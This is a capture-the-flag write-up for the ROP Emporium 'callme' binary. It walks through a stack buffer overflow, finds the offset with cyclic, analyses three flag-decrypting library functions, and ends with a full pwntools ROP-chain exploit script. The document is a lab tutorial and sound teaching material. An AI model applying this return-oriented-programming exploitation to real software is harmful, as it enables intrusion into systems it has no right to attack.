callme
August 17, 20254 minutes
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts("callme by ROP Emporium");
puts("x86_64\n");
pwnme();
puts("\nExiting");
return 0;
}
The main function calls the pwnme() function.
There is a clear BoF in the pwnme function: there is a 32-byte buffer and the program lets the user write up to 0x200 bytes into it
int pwnme()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF
memset(s, 0, sizeof(s));
puts("Hope you read the instructions...\n");
printf("> ");
read(0, s, 0x200uLL);
return puts("Thank you!");
}
With cyclic we can find the offset
pwndbg> cyclic 300
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
callme by ROP Emporium
x86_64
Hope you read the instructions...
> aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaa
pwndbg> cyclic -l faaaaaaa
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40
The offset is 40.
Now we could try a ret2libc, but the libc provided for the challenge doesn’t have system….
[d3bo@archlinux rop_emporium]$ readelf -s libcallme.so | grep system
[d3bo@archlinux rop_emporium]$
Inside the binary there are some functions that stand out

There are 3 functions
- callme_one
- callme_two
- callme_three
Each of them only contains extrn callme_one:near (and so on).
This suggests they are being loaded from libc as external functions.
So I opened the provided libc in IDA
- callme_one:
int __fastcall callme_one(__int64 a1, __int64 a2, __int64 a3)
{
FILE *stream; // [rsp+28h] [rbp-8h]
if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("encrypted_flag.dat", "r");
if ( !stream )
{
puts("Failed to open encrypted_flag.dat");
exit(1);
}
g_buf = (char *)malloc(0x21uLL);
if ( !g_buf )
{
puts("Could not allocate memory");
exit(1);
}
g_buf = fgets(g_buf, 33, stream);
fclose(stream);
return puts("callme_one() called correctly");
}
- callme_two:
int __fastcall callme_two(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+24h] [rbp-Ch]
FILE *stream; // [rsp+28h] [rbp-8h]
if ( a1 != 0xDEADBEEFDEADBEEFLL || a2 != 0xCAFEBABECAFEBABELL || a3 != 0xD00DF00DD00DF00DLL )
{
puts("Incorrect parameters");
exit(1);
}
stream = fopen("key1.dat", "r");
if ( !stream )
{
puts("Failed to open key1.dat");
exit(1);
}
for ( i = 0; i <= 15; ++i )
g_buf[i] ^= fgetc(stream);
return puts("callme_two() called correctly");
}
- callme_three:
void __fastcall __noreturn callme_three(__int64 a1, __int64 a2, __int64 a3)
{
int i; // [rsp+24h] [rbp-Ch]
FILE *stream; // [rsp+28h] [rbp-8h]
if ( a1 == 0xDEADBEEFDEADBEEFLL && a2 == 0xCAFEBABECAFEBABELL && a3 == 0xD00DF00DD00DF00DLL )
{
stream = fopen("key2.dat", "r");
if ( !stream )
{
puts("Failed to open key2.dat");
exit(1);
}
for ( i = 16; i <= 31; ++i )
g_buf[i] ^= fgetc(stream);
*(_QWORD *)(g_buf + 4) ^= 0xDEADBEEFDEADBEEFLL;
*(_QWORD *)(g_buf + 12) ^= 0xCAFEBABECAFEBABELL;
*(_QWORD *)(g_buf + 20) ^= 0xD00DF00DD00DF00DLL;
puts(g_buf);
exit(0);
}
puts("Incorrect parameters");
exit(1);
It looks like each function is part of a process that decrypts a flag.
What we need to do now is build a ROP chain that calls the 3 functions so the decrypted flag on the server gets printed.
Keep in mind that each function takes 3 arguments. So we need a gadget (quick reminder: the first argument is passed through rdi, the second through rsi, and the third through rdx), and this gadget fits like a glove
[d3bo@archlinux rop_emporium]$ ROPgadget --binary callme | grep "pop rsi"
....
0x000000000040093c : pop rdi ; pop rsi ; pop rdx ; ret
The pop takes the value from rsp and stores it in the corresponding register; this has to be done before calling the function. If you’re not very clear on how ROP works, I recommend checking out the writeup for the Restaurant challenge
#!/usr/bin/env python3
from pwn import *
exe = ELF("./callme")
libc = ELF("./libcallme.so")
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.GDB:
gdb.attach(r)
else:
r = remote("saturn.picoctf.net", 60804)
return r
def main():
r = conn()
pop_rdi_pop_rsi_pop_rdx = 0x000000000040093c
callme_one = 0x0000000000400720
callme_two = 0x0000000000400740
callme_three = 0x00000000004006f0
offset = 40
payload = flat({
offset: [
pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
callme_one,
pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
callme_two,
pop_rdi_pop_rsi_pop_rdx, 0xDEADBEEFDEADBEEF, 0xCAFEBABECAFEBABE, 0xD00DF00DD00DF00D,
callme_three
]})
r.sendlineafter(b'>', payload)
r.interactive()
if __name__ == "__main__":
main()
